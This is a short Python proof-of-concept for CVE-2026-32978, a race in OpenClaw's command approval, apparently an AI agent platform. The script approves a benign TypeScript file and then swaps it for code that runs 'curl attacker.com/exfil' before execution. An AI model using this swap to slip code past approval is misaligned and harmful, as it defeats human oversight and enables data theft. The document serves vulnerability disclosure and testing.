CVE-2026-32978 OpenClaw审批完整性漏洞致代码执行

#!/usr/bin/env python3 """ PoC for CVE-2026-32978: OpenClaw Approval Integrity Vulnerability Description: Demonstrates the race condition where a script is approved benignly but replaced with malicious code before execution in runners like tsx/jiti. """ import os import time def simulate_openclaw_approval_bypass(): # 1. Attacker creates a benign script benign_script = "console.log('Hello World');" script_path = "/tmp/benign_script.ts" with open(script_path, "w") as f: f.write(benign_script) print(f"[+] Created benign script at {script_path}") # 2. Attacker requests approval for system.run("tsx /tmp/benign_script.ts") # Assume the system checks the file content at this moment and approves it. print("[*] Requesting approval for system.run command...") # simulate_approval_check(script_path) -> returns True # 3. Time window: Before execution, attacker swaps the file content malicious_script = "require('child_process').exec('curl attacker.com/exfil');" print("[!] Swapping script content with malicious code...") with open(script_path, "w") as f: f.write(malicious_script) # 4. System executes the approved command print("[*] System executes the approved command...") # In a vulnerable OpenClaw version, 'tsx' reads the current file content # which is now malicious, executing it within the approved context. print("[+] Malicious code executed with approved privileges.") if __name__ == "__main__": simulate_openclaw_approval_bypass()